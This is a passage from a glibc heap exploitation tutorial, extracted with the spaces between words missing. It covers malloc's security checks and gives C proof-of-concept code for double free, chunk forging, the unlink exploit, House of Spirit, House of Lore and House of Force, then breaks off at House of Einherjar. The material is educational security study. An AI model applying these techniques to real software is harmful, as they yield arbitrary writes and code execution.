_int_mallocWhileinsertinglastremainderchunkintounsortedbin(aftersplittingalargechunk),checkwhetherunsorted_chunks(av)->fd->bk==unsorted_chunks(av)

malloc():corruptedunsortedchunks

_int_mallocWhileinsertinglastremainderchunkintounsortedbin(aftersplittingafastorasmallchunk),checkwhetherunsorted_chunks(av)->fd->bk==unsorted_chunks(av)

malloc():corruptedunsortedchunks2

_int_free Checkwhetherp**isbeforep+chunksize(p)inthememory(toavoidwrapping)

free():invalidpointer

_int_free CheckwhetherthechunkisatleastofsizeMINSIZEoramultipleofMALLOC_ALIGNMENT

free():invalidsize

_int_freeForachunkwithsizeinfastbinrange,checkifnextchunk'ssizeisbetweenminimumandmaximumsize(av->system_mem)

free():invalidnextsize(fast)

_int_free Whileinsertingfastchunkintofastbin(atHEAD),checkwhetherthechunkalreadyatHEADisnotthesame

doublefreeorcorruption(fasttop)

SecurityChecks

24

Page 25: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

_int_freeWhileinsertingfastchunkintofastbin(atHEAD),checkwhethersizeofthechunkatHEADissameasthechunktobeinserted

invalidfastbinentry(free)

_int_freeIfthechunkisnotwithinthesizerangeoffastbinandneitheritisammappedchunks,checkwhetheritisnotthesameasthetopchunk

doublefreeorcorruption(top)

_int_free Checkwhethernextchunk(bymemory)iswithintheboundariesofthearena

doublefreeorcorruption(out)

_int_free Checkwhethernextchunk's(bymemory)previousinusebitismarked

doublefreeorcorruption(!prev)

_int_free Checkwhethersizeofnextchunkiswithintheminimumandmaximumsize(av->system_mem)

free():invalidnextsize(normal)

_int_freeWhileinsertingthecoalescedchunkintounsortedbin,checkwhetherunsorted_chunks(av)->fd->bk==unsorted_chunks(av)

free():corruptedunsortedchunks

*:'P'referstothechunkbeingunlinked

**:'p'referstothechunkbeingfreed

SecurityChecks

25

Page 26: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

HeapExploitationTheglibclibraryprovidesfunctionssuchasfreeandmalloctohelpdevelopersmanagetheheapmemoryaccordingtotheirusecases.Itistheresponsibilityofthedeveloperto:

freeanymemoryhe/shehasobtainedusingmalloc.Donotfreethesamememorymorethanonce.Ensurethatmemoryusagedoesnotgobeyondtheamountofmemoryrequested,inotherterms,preventheapoverflows.

Failingtodomakesthesoftwarevulnerabletovariouskindsofattacks.Shellphish,afamousCapturetheFlagteamfromUCSantaBarbara,hasdoneagreatjobinlistingavarietyofheapexploitationtechniquesinhow2heap.Attacksdescribedin"TheMallocMaleficarum"by"PhantasmalPhantasmagoria"inanemailtothe"Bugtraq"mailinglistarealsodescribed.

Asummaryoftheattackshasbeendescribedbelow:

Attack Target Technique

FirstFit Thisisnotanattack,itjustdemonstratesthenatureofglibc'sallocator ---

DoubleFree

Makingmallocreturnanalreadyallocatedfastchunk

Disruptthefastbinbyfreeingachunktwice

Forgingchunks

Makingmallocreturnanearlyarbitrarypointer

Disruptingfastbinlinkstructure

UnlinkExploit Getting(nearly)arbitrarywriteaccess Freeingacorruptedchunk

andexploitingunlink

ShrinkingFree

Chunks

Makingmallocreturnachunkoverlappingwithanalreadyallocated

chunk

Corruptingafreechunkbydecreasingitssize

HouseofSpirit

Makingmallocreturnanearlyarbitrarypointer

Forcingfreeingofacraftedfakechunk

HouseofLore

Makingmallocreturnanearlyarbitrarypointer

Disruptingsmallbinlinkstructure

HouseofForce

Makingmallocreturnanearlyarbitrarypointer

Overflowingintotopchunk'sheader

HouseofEinherjar

Makingmallocreturnanearlyarbitrarypointer

Overflowingasinglebyteintothenextchunk

HeapExploitation

26

Page 27: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

HeapExploitation

27

Page 28: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

First-fitbehaviorThistechniquedescribesthe'first-fit'behaviorofglibc'sallocator.Wheneveranychunk(notafastchunk)isfreed,itendsupintheunsortedbin.InsertionhappensattheHEADofthelist.Onrequestingnewchunks(again,nonfastchunks),initiallyunsortedbinswillbelookedupassmallbinswillbeempty.ThislookupisfromtheTAILendofthelist.Ifasinglechunkispresentintheunsortedbin,anexactcheckisnotmadeandifthechunk'ssize>=theonerequested,itissplitintotwoandreturned.Thisensuresfirstinfirstoutbehavior.

Considerthesamplecode:

char*a=malloc(300);//0x***010

char*b=malloc(250);//0x***150

free(a);

a=malloc(250);//0x***010

Thestateofunsortedbinprogressesas:

1. 'a'freed.head->a->tail

2. 'malloc'request.head->a2->tail['a1'isreturned]

'a'chunkissplitintotwochunks'a1'and'a2'astherequestedsize(250bytes)issmallerthanthesizeofthechunk'a'(300bytes).Thiscorrespondsto[6.iii.]in_int_malloc.

Thisisalsotrueinthecaseoffastchunks.Insteadof'freeing'intounsortedbin,fastchunksendupinfastbins.Asmentionedearlier,fastbinsmaintainasinglylinkedlistandchunksareinsertedanddeletedfromtheHEADend.This'reverses'theorderofchunksobtained.

Considerthesamplecode:

FirstFit

28

Page 29: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

char*a=malloc(20);//0xe4b010

char*b=malloc(20);//0xe4b030

char*c=malloc(20);//0xe4b050

char*d=malloc(20);//0xe4b070

free(a);

free(b);

free(c);

free(d);

a=malloc(20);//0xe4b070

b=malloc(20);//0xe4b050

c=malloc(20);//0xe4b030

d=malloc(20);//0xe4b010

Thestateoftheparticularfastbinprogressesas:

1. 'a'freed.head->a->tail

2. 'b'freed.head->b->a->tail

3. 'c'freed.head->c->b->a->tail

4. 'd'freed.head->d->c->b->a->tail

5. 'malloc'request.head->c->b->a->tail['d'isreturned]

6. 'malloc'request.head->b->a->tail['c'isreturned]

7. 'malloc'request.head->a->tail['b'isreturned]

8. 'malloc'request.head->tail['a'isreturned]

Thesmallersizehere(20bytes)ensuredthatonfreeing,chunkswentintofastbinsinsteadoftheunsortedbin.

UseafterFreeVulnerability

FirstFit

29

Page 30: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

Intheaboveexamples,weseethat,mallocmightreturnchunksthatwereearlierusedandfreed.Thismakesusingfreedmemorychunksvulnerable.Onceachunkhasbeenfreed,itshouldbeassumedthattheattackercannowcontrolthedatainsidethechunk.Thatparticularchunkshouldneverbeusedagain.Instead,alwaysallocateanewchunk.

Seesamplepieceofvulnerablecode:

char*ch=malloc(20);

//Someoperations

//..

//..

free(ch);

//Someoperations

//..

//..

//Attackercancontrol'ch'

//Thisisvulnerablecode

//Freedvariablesshouldnotbeusedagain

if(*ch=='a'){

//dothis

}

FirstFit

30

Page 31: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

DoubleFreeFreeingaresourcemorethanoncecanleadtomemoryleaks.Theallocator'sdatastructuresgetcorruptedandcanbeexploitedbyanattacker.Inthesampleprogrambelow,afastbinchunkwillbefreedtwice.Now,toavoid'doublefreeorcorruption(fasttop)'securitycheckbyglibc,anotherchunkwillbefreedinbetweenthetwofrees.Thisimpliesthatthesamechunkwillbereturnedbytwodifferent'mallocs'.Boththepointerswillpointtothesamememoryaddress.Ifoneofthemisunderthecontrolofanattacker,he/shecanmodifymemoryfortheotherpointerleadingtovariouskindsofattacks(includingcodeexecutions).

Considerthissamplecode:

a=malloc(10);//0xa04010

b=malloc(10);//0xa04030

c=malloc(10);//0xa04050

free(a);

free(b);//Tobypass"doublefreeorcorruption(fasttop)"check

free(a);//DoubleFree!!

d=malloc(10);//0xa04010

e=malloc(10);//0xa04030

f=malloc(10);//0xa04010-Sameas'd'!

Thestateoftheparticularfastbinprogressesas:

1. 'a'freed.head->a->tail

2. 'b'freed.head->b->a->tail

3. 'a'freedagain.head->a->b->a->tail

4. 'malloc'requestfor'd'.head->b->a->tail['a'isreturned]

5. 'malloc'requestfor'e'.head->a->tail['b'isreturned]

6. 'malloc'requestfor'f'.head->tail['a'isreturned]

DoubleFree

31

Page 32: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

Now,'d'and'f'pointerspointtothesamememoryaddress.Anychangesinonewillaffecttheother.

Notethatthisparticularexamplewillnotworkifsizeischangedtooneinsmallbinrange.Withthefirstfree,a'snextchunkwillsetthepreviousinusebitas'0'.Duringthesecondfree,asthisbitis'0',anerrorwillbethrown:"doublefreeorcorruption(!prev)"error.

DoubleFree

32

Page 33: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

ForgingchunksAfterachunkisfreed,itisinsertedinabinlist.However,thepointerisstillavailableintheprogram.Iftheattackerhascontrolofthispointer,he/shecanmodifythelinkedliststructureinbinsandinserthis/herown'forged'chunk.Thesampleprogramshownbelowshowshowthisispossibleinthecaseoffastbinfreelist.

structforged_chunk{

size_tprev_size;

size_tsize;

structforged_chunk*fd;

structforged_chunk*bck;

charbuf[10];//padding

};

//Firstgrabafastchunk

a=malloc(10);//'a'pointsto0x219c010

//Createaforgedchunk

structforged_chunkchunk;//Ataddress0x7ffc6de96690

chunk.size=0x20;//Thissizeshouldfallinthesamefastbin

data=(char*)&chunk.fd;//Datastartshereforanallocatedchunk

strcpy(data,"attacker'sdata");

//Putthefastchunkbackintofastbin

free(a);

//Modify'fd'pointerof'a'topointtoourforgedchunk

*((unsignedlonglong*)a)=(unsignedlonglong)&chunk;

//Remove'a'fromHEADoffastbin

//OurforgedchunkwillnowbeattheHEADoffastbin

malloc(10);//Willreturn0x219c010

victim=malloc(10);//Pointsto0x7ffc6de966a0

printf("%s\n",victim);//Prints"attacker'sdata"!!

Theforgedchunk'ssizeparameterwassetequalto0x20sothatitpassesthesecuritycheck"malloc():memorycorruption(fast)".Thischeckcheckswhetherthesizeofthechunkfallsintherangeforthatparticularfastbin.Also,notethatthedataforanallocatedchunkstartsfromthe'fd'pointer.Thisisalsoevidentintheaboveprogramasvictimpoints0x10(0x8+0x8)bytesaheadofthe'forgedchunk'.

Thestateoftheparticularfastbinprogressesas:

1. 'a'freed.head->a->tail

Forgingchunks

33

Page 34: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

2. a'sfdpointerchangedtopointto'forgedchunk'.head->a->forgedchunk->undefined(fdofforgedchunkwillinfactbeholdingattacker'sdata)

3. 'malloc'requesthead->forgedchunk->undefined

4. 'malloc'requestbyvictimhead->undefined[forgedchunkisreturnedtothevictim]

Notethefollowing:

Another'malloc'requestforthefastchunkinthesamebinlistwillresultinsegmentationfault.Eventhoughwerequestfor10bytesandsetthesizeoftheforgedchunkas32(0x20)bytes,bothfallinthesamefastbinrangeof32-bytechunks.Thisattackforsmallandlargechunkswillbeseenlateras'HouseofLore'.Theabovecodeisdesignedfor64-bitmachines.Toruniton32-bitmachines,replaceunsignedlonglongwithunsignedintaspointersarenow4bytesinsteadof8bytes.Also,insteadofusing32bytesassizeforforgedchunk,asmallofthesizeofaround17bytesshouldwork.

Forgingchunks

34

Page 35: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

UnlinkExploitThisparticularattackwasoncequitecommon.However,twosecuritycheckswereaddedintheunlinkMACRO("corruptedsizevs.prev_size"and"corrupteddouble-linkedlist")whichreducedtheimpactoftheattacktosomeextent.Nevertheless,itisworthwhiletospendsometimeonit.ItexploitsthepointermanipulationdoneintheunlinkMACROwhileremovingachunkfromabin.

Considerthissamplecode(downloadthecompleteversionhere):

UnlinkExploit

35

Page 36: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

structchunk_structure{

size_tprev_size;

size_tsize;

structchunk_structure*fd;

structchunk_structure*bk;

charbuf[10];//padding

};

unsignedlonglong*chunk1,*chunk2;

structchunk_structure*fake_chunk,*chunk2_hdr;

chardata[20];

//Firstgrabtwochunks(nonfast)

chunk1=malloc(0x80);//Pointsto0xa0e010

chunk2=malloc(0x80);//Pointsto0xa0e0a0

//Assumingattackerhascontroloverchunk1'scontents

//Overflowtheheap,overridechunk2'sheader

//Firstforgeafakechunkstartingatchunk1

//Needtosetupfdandbkpointerstopasstheunlinksecuritycheck

fake_chunk=(structchunk_structure*)chunk1;

fake_chunk->fd=(structchunk_structure*)(&chunk1-3);//EnsuresP->fd->bk==P

fake_chunk->bk=(structchunk_structure*)(&chunk1-2);//EnsuresP->bk->fd==P

//Nextmodifytheheaderofchunk2topassallsecuritychecks

chunk2_hdr=(structchunk_structure*)(chunk2-2);

chunk2_hdr->prev_size=0x80;//chunk1'sdataregionsize

chunk2_hdr->size&=~1;//Unsettingprev_in_usebit

//Now,whenchunk2isfreed,attacker'sfakechunkis'unlinked'

//Thisresultsinchunk1pointerpointingtochunk1-3

//i.e.chunk1[3]nowcontainschunk1itself.

//Wethenmakechunk1pointtosomevictim'sdata

free(chunk2);

chunk1[3]=(unsignedlonglong)data;

strcpy(data,"Victim'sdata");

//Overwritevictim'sdatausingchunk1

chunk1[0]=0x002164656b636168LL;//hexfor"hacked!"

printf("%s\n",data);//Prints"hacked!"

Thismightlookalittlecomplicatedcomparedtootherattacks.First,wemalloctwochunkschunk1andchunk2withsize0x80toensurethattheyfallinthesmallbinrange.Next,weassumethattheattackersomehowhasunboundedcontroloverthecontentsofchunk1(thiscanbeusingany'unsafe'functionsuchasstrcpyonuserinput).Noticethatboththe

UnlinkExploit

36

Page 37: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

chunkswilllieinthememorysidebyside.Thecodeshownaboveusescustomstructchunk_structureforclaritypurposesonly.Inanattackscenario,theattackershallsimplysendbytestofillinchunk1thatwouldhavethesameeffectasabove.

Anewfakechunkiscreatedinthe'data'partofchunk1.Thefdandbkpointersareadjustedtopassthe"corrupteddouble-linkedlist"securitycheck.Thecontentsoftheattackerareoverflowedintochunk2'sheaderthatsetsappropriateprev_sizeandprev_in_usebit.Thisensuresthatwheneverchunk2isfreed,thefake_chunkwillbedetectedas'freed'andwillbeunlinked'.Thefollowingdiagramsshowsthecurrentstateofthevariousmemoryregions:

Carefully,trytounderstandhowP->fd->bk==PandP->bk->fd==Pchecksarepassed.Thisshallgiveanintuitionregardinghowtoadjustthefdandbkpointersofthefakechunk.

Assoonaschunk2isfreed,itishandledasasmallbin.Recallthatpreviousandnextchunks(bymemory)arecheckedwhethertheyare'free'ornot.Ifanychunkisdetectedas'free',itisunlinkedforthepurposeofmergingconsecutivefreechunks.TheunlinkMACROexecutesthefollowingtwoinstructionsthatmodifypointers:

1. SetP->fd->bk=P->bk.2. SetP->bk->fd=P->fd.

Inthiscase,bothP->fd->bkandP->bk->fdpointtothesamelocationsoonlythesecondupdateisnoticed.Thefollowingdiagramshowstheeffectsofthesecondupdatejustafterchunk2isfreed.

UnlinkExploit

37

Page 38: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

Now,wehavechunk1pointingto3addresses(16-bit)behinditself(&chunk1-3).Hence,chunk1[3]isinfactthechunk1.Changingchunk1[3]islikechangingchunk1.Noticethatanattackerhasagreaterchanceofgettinganopportunitytoupdatedataatlocationchunk1(chunk1[3]here)insteadofchunk1itself.Thiscompletestheattack.Inthisexample,chunk1wasmadetopointtoa'data'variableandchangesthroughchunk1werereflectedonthatvariable.

Earlier,withtheabsenceofsecuritychecksinunlink,thetwowriteinstructionsintheunlinkMACROwereusedtoachievearbitrarywrites.Byoverwriting.gotsections,thisledtoarbitrarycodeexecution.

UnlinkExploit

38

Page 39: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

ShrinkingFreeChunksThisattackwasdescribedin'GlibcAdventures:TheForgottenChunk'.Itmakesuseofasinglebyteheapoverflow(commonlyfoundduetothe'offbyone'.Thegoalofthisattackistomake'malloc'returnachunkthatoverlapswithanalreadyallocatedchunk,currentlyinuse.First3consecutivechunksinmemory(a,b,c)areallocatedandthemiddleoneisfreed.Thefirstchunkisoverflowed,resultinginanoverwriteofthe'size'ofthemiddlechunk.Theleastsignificantbyteto0bytheattacker.This'shrinks'thechunkinsize.Next,twosmallchunks(b1andb2)areallocatedoutofthemiddlefreechunk.Thethirdchunk'sprev_sizedoesnotgetupdatedasb+b->sizenolongerpointstoc.It,infact,pointstoamemoryregion'before'c.Then,b1alongwiththecisfreed.cstillassumesbtobefree(sinceprev_sizedidn'tgetupdatedandhencec-c->prev_sizestillpointstob)andconsolidatesitselfwithb.Thisresultsinabigfreechunkstartingfrombandoverlappingwithb2.Anewmallocreturnsthisbigchunk,therebycompletingtheattack.Thefollowingfiguresumsupthesteps:

ShrinkingFreeChunks

39

Page 40: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

ImageSource:https://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf

Considerthissamplecode(downloadthecompleteversionhere):

structchunk_structure{

size_tprev_size;

size_tsize;

structchunk_structure*fd;

structchunk_structure*bk;

charbuf[19];//padding

};

void*a,*b,*c,*b1,*b2,*big;

structchunk_structure*b_chunk,*c_chunk;

//Grabthreeconsecutivechunksinmemory

a=malloc(0x100);//at0xfee010

b=malloc(0x200);//at0xfee120

c=malloc(0x100);//at0xfee330

b_chunk=(structchunk_structure*)(b-2*sizeof(size_t));

c_chunk=(structchunk_structure*)(c-2*sizeof(size_t));

//freeb,nowthereisalargegapbetween'a'and'c'inmemory

//bwillendupinunsortedbin

free(b);

//Attackeroverflows'a'andoverwritesleastsignificantbyteofb'ssize

//with0x00.Thiswilldecreaseb'ssize.

*(char*)&b_chunk->size=0x00;

//Allocateanotherchunk

//'b'willbeusedtoservicethischunk.

//c'sprevioussizewillnotupdated.Infact,theupdatewillbedoneafew

//bytesbeforec'sprevioussizeasb'ssizehasdecreased.

//So,b+b->sizeisbehindc.

//cwillassumethatthepreviouschunk(c-c->prev_size=b/b1)isfree

b1=malloc(0x80);//at0xfee120

//Allocateanotherchunk

//Thiswillcomedirectlyafterb1

b2=malloc(0x80);//at0xfee1b0

strcpy(b2,"victim'sdata");

//Freeb1

free(b1);

//Freec

//Thiswillnowconsolidatewithb/b1therebymergingb2withinit

//Thisisbecausec'sprev_in_usebitisstill0anditsprevioussize

//pointstob/b1

ShrinkingFreeChunks

40

Page 41: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

free(c);

//Allocateabigchunktocoverb2'smemoryaswell

big=malloc(0x200);//at0xfee120

memset(big,0x41,0x200-1);

printf("%s\n",(char*)b2);//PrintsAAAAAAAAAAA...!

bignowpointstotheinitialbchunkandoverlapswithb2.Updatingcontentsofbigupdatescontentsofb2,evenwhenboththesechunksareneverpassedtofree.

Notethatinsteadofshrinkingb,theattackercouldalsohaveincreasedthesizeofb.Thiswillresultinasimilarcaseofoverlap.When'malloc'requestsanotherchunkoftheincreasedsize,bwillbeusedtoservicethisrequest.Nowc'smemorywillalsobepartofthisnewchunkreturned.

ShrinkingFreeChunks

41

Page 42: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

HouseofSpiritTheHouseofSpiritisalittledifferentfromotherattacksinthesensethatitinvolvesanattackeroverwritinganexistingpointerbeforeitis'freed'.Theattackercreatesa'fakechunk',whichcanresideanywhereinthememory(heap,stack,etc.)andoverwritesthepointertopointtoit.Thechunkhastobecraftedinsuchamannersoastopassallthesecuritytests.Thisisnotdifficultandonlyinvolvessettingthesizeandnextchunk'ssize.Whenthefakechunkisfreed,itisinsertedinanappropriatebinlist(preferablyafastbin).Afuturemalloccallforthissizewillreturntheattacker'sfakechunk.Theendresultissimilarto'forgingchunksattack'describedearlier.

Considerthissamplecode(downloadthecompleteversionhere):

structfast_chunk{

size_tprev_size;

size_tsize;

structfast_chunk*fd;

structfast_chunk*bk;

charbuf[0x20];//chunkfallsinfastbinsizerange

};

structfast_chunkfake_chunks[2];//Twochunksinconsecutivememory

//fake_chunks[0]at0x7ffe220c5ca0

//fake_chunks[1]at0x7ffe220c5ce0

void*ptr,*victim;

ptr=malloc(0x30);//Firstmalloc

//Passessizecheckof"free():invalidsize"

fake_chunks[0].size=sizeof(structfast_chunk);//0x40

//Passes"free():invalidnextsize(fast)"

fake_chunks[1].size=sizeof(structfast_chunk);//0x40

//Attackeroverwritesapointerthatisabouttobe'freed'

ptr=(void*)&fake_chunks[0].fd;

//fake_chunks[0]getsinsertedintofastbin

free(ptr);

victim=malloc(0x30);//0x7ffe220c5cb0addressreturnedfrommalloc

HouseofSpirit

42

Page 43: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

Noticethat,asexpected,thereturnedpointeris0x10or16bytesaheadoffake_chunks[0].Thisistheaddresswherethefdpointerisstored.Thisattackgivesasurfaceformoreattacks.victimpointstomemoryonthestackinsteadofheapsegment.Bymodifyingthereturnaddressesonthestack,theattackercancontroltheexecutionoftheprogram.

HouseofSpirit

43

Page 44: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

HouseofLoreThisattackisbasicallytheforgingchunksattackforsmallandlargebins.However,duetoanaddedprotectionforlargebinsinaround2007(theintroductionoffd_nextsizeandbk_nextsize)itbecameimpractical.Hereweshallseethecaseonlyforsmallbins.First,asmallchunkwillbeplacedinasmallbin.It'sbkpointerwillbeoverwrittentopointtoafakesmallchunk.Notethatinthecaseofsmallbins,insertionhappensattheHEADandremovalattheTAIL.Amalloccallwillfirstremovetheauthenticchunkfromthebinmakingtheattacker'sfakechunkattheTAILofthebin.Thenextmallocwillreturntheattacker'schunk.

Considerthissamplecode(downloadthecompleteversionhere):

HouseofLore

44

Page 45: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

structsmall_chunk{

size_tprev_size;

size_tsize;

structsmall_chunk*fd;

structsmall_chunk*bk;

charbuf[0x64];//chunkfallsinsmallbinsizerange

};

structsmall_chunkfake_chunk;//Ataddress0x7ffdeb37d050

structsmall_chunkanother_fake_chunk;

structsmall_chunk*real_chunk;

unsignedlonglong*ptr,*victim;

intlen;

len=sizeof(structsmall_chunk);

//Grabtwosmallchunkandfreethefirstone

//Thischunkwillgointounsortedbin

ptr=malloc(len);//pointstoaddress0x1a44010

//Thesecondmalloccanbeofrandomsize.Wejustwantthat

//thefirstchunkdoesnotmergewiththetopchunkonfreeing

malloc(len);//pointstoaddress0x1a440a0

//Thischunkwillendupinunsortedbin

free(ptr);

real_chunk=(structsmall_chunk*)(ptr-2);//pointstoaddress0x1a44000

//Grabanotherchunkwithgreatersizesoastopreventgettingback

//thesameone.Also,thepreviouschunkwillnowgofromunsortedto

//smallbin

malloc(len+0x10);//pointstoaddress0x1a44130

//Maketherealsmallchunk'sbkpointerpointto&fake_chunk

//Thiswillinsertthefakechunkinthesmallbin

real_chunk->bk=&fake_chunk;

//andfake_chunk'sfdpointtothesmallchunk

//Thiswillensurethat'victim->bk->fd==victim'fortherealchunk

fake_chunk.fd=real_chunk;

//Wealsoneedthis'victim->bk->fd==victim'testtopassforfakechunk

fake_chunk.bk=&another_fake_chunk;

another_fake_chunk.fd=&fake_chunk;

//Removetherealchunkbyastandardcalltomalloc

malloc(len);//pointsataddress0x1a44010

//Nextmallocforthatsizewillreturnthefakechunk

victim=malloc(len);//pointsataddress0x7ffdeb37d060

HouseofLore

45

Page 46: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

Noticethatthestepsneededforforgingasmallchunkaremoreduetothecomplicatedhandlingofsmallchunks.Particularcarewasneededtoensurethatvictim->bk->fdequalsvictimforeverysmallchunkthatistobereturnedfrom'malloc',topassthe"malloc():smallbindoublelinkedlistcorrupted"securitycheck.Also,extra'malloc'callswereaddedinbetweentoensurethat:

1. Thefirstchunkgoestotheunsortedbininsteadofmergingwiththetopchunkonfreeing.

2. Thefirstchunkgoestothesmallbinasitdoesnotsatisfyamallocrequestforlen+0x10.

Thestateoftheunsortedbinandthesmallbinareshown:

1. free(ptr).Unsortedbin:

head<->ptr<->tail

Smallbin:

head<->tail

2. malloc(len+0x10);Unsortedbin:

head<->tail

Smallbin:

head<->ptr<->tail

3. PointermanipulationsUnsortedbin:

head<->tail

Smallbin:

undefined<->fake_chunk<->ptr<->tail

4. malloc(len)Unsortedbin:

head<->tail

Smallbin:

undefined<->fake_chunk<->tail

5. malloc(len)Unsortedbin:

head<->tail

Smallbin:

HouseofLore

46

Page 47: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

undefined<->tail[Fakechunkisreturned]

Notethatanother'malloc'callforthecorrespondingsmallbinwillresultinasegmentationfault.

HouseofLore

47

Page 48: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

HouseofForceSimilarto'HouseofLore',thisattackfocusesonreturninganarbitrarypointerfrom'malloc'.Forgingchunksattackwasdiscussedforfastbinsandthe'HouseofLore'attackwasdiscussedforsmallbins.The'HouseofForce'exploitsthe'topchunk'.Thetopmostchunkisalsoknownasthe'wilderness'.Itborderstheendoftheheap(i.e.itisatthemaximumaddresswithintheheap)andisnotpresentinanybin.Itfollowsthesameformatofthechunkstructure.

Thisattackassumesanoverflowintothetopchunk'sheader.Thesizeismodifiedtoaverylargevalue(-1inthisexample).Thisensuresthatallinitialrequestswillbeservicesusingthetopchunk,insteadofrelyingonmmap.Ona64bitsystem,-1evaluatesto0xFFFFFFFFFFFFFFFF.Achunkwiththissizecancovertheentirememoryspaceoftheprogram.Letusassumethattheattackerwishes'malloc'toreturnaddressP.Now,anymalloccallwiththesizeof:&top_chunk-Pwillbeservicedusingthetopchunk.NotethatPcanbeafterorbeforethetop_chunk.Ifitisbefore,theresultwillbealargepositivevalue(becausesizeisunsigned).Itwillstillbelessthan-1.Anintegeroverflowwilloccurandmallocwillsuccessfullyservicethisrequestusingthetopchunk.Now,thetopchunkwillpointtoPandanyfuturerequestswillreturnP!

Considerthissamplecode(downloadthecompleteversionhere):

HouseofForce

48

Page 49: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

//Attackerwillforcemalloctoreturnthispointer

charvictim[]="Thisisvictim'sstringthatwillreturnedbymalloc";//At0x601060

structchunk_structure{

size_tprev_size;

size_tsize;

structchunk_structure*fd;

structchunk_structure*bk;

charbuf[10];//padding

};

structchunk_structure*chunk,*top_chunk;

unsignedlonglong*ptr;

size_trequestSize,allotedSize;

//First,requestachunk,sothatwecangetapointertotopchunk

ptr=malloc(256);//At0x131a010

chunk=(structchunk_structure*)(ptr-2);//At0x131a000

//lowerthreebitsofchunk->sizeareflags

allotedSize=chunk->size&~(0x1|0x2|0x4);

//topchunkwillbejustnextto'ptr'

top_chunk=(structchunk_structure*)((char*)chunk+allotedSize);//At0x131a110

//here,attackerwilloverflowthe'size'parameteroftopchunk

top_chunk->size=-1;//Maximumsize

//Mightresultinanintegeroverflow,doesn'tmatter

requestSize=(size_t)victim//Thetargetaddressthatmallocshouldreturn

-(size_t)top_chunk//Thepresentaddressofthetopchunk

-2*sizeof(longlong)//Sizeof'size'and'prev_size'

-sizeof(longlong);//Additionalbuffer

//Thisalsoneedstobeforcedbytheattacker

//Thiswilladvancethetop_chunkaheadby(requestSize+header+additionalbuffer)

//Makingitpointto'victim'

malloc(requestSize);//At0x131a120

//Thetopchunkagainwillservicetherequestandreturn'victim'

ptr=malloc(100);//At0x601060!!(Sameas'victim')

'malloc'returnedanaddresspointingtovictim.

Notethefollowingthingsthatweneedtotakecare:

1. Whilededucingtheexactpointertotop_chunk,0outthethreelowerbitsofthepreviouschunktoobtaincorrectsize.

2. WhilecalculatingrequestSize,anadditionalbufferofaround8byteswasreduced.

HouseofForce

49

Page 50: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

Thiswasjusttocountertheroundingupmallocdoeswhileservicingchunks.Incidentally,inthiscase,mallocreturnsachunkwith8additionalbytesthanrequested.Noticethatthisismachinedependent.

3. victimcanbeanyaddress(onheap,stack,bss,etc.).

HouseofForce

50

Page 51: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

HouseofEinherjarThishouseisnotpartof"TheMallocMaleficarum".ThisheapexploitationtechniquewasgivenbyHirokiMatsukumain2016.Thisattackalsorevolvesaroundmaking'malloc'returnanearlyarbitrarypointer.Unlikeotherattacks,thisrequiresjustasinglebyteofoverflow.Thereexistsmuchmoresoftwarevulnerabletoasinglebyteofoverflowmainlyduetothefamous"offbyone"error.Itoverwritesintothe'size'ofthenextchunkinmemoryandclearsthePREV_IN_USEflagto0.Also,itoverwritesintoprev_size(alreadyinthepreviouschunk'sdataregion)afakesize.Whenthenextchunkisfreed,itfindsthepreviouschunktobefreeandtriestoconsolidatebygoingback'fakesize'inmemory.Thisfakesizeissocalculatedsothattheconsolidatedchunkendsupatafakechunk,whichwillbereturnedbysubsequentmalloc.

Considerthissamplecode(downloadthecompleteversionhere):

HouseofEinherjar

51

Page 52: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

structchunk_structure{

size_tprev_size;

size_tsize;

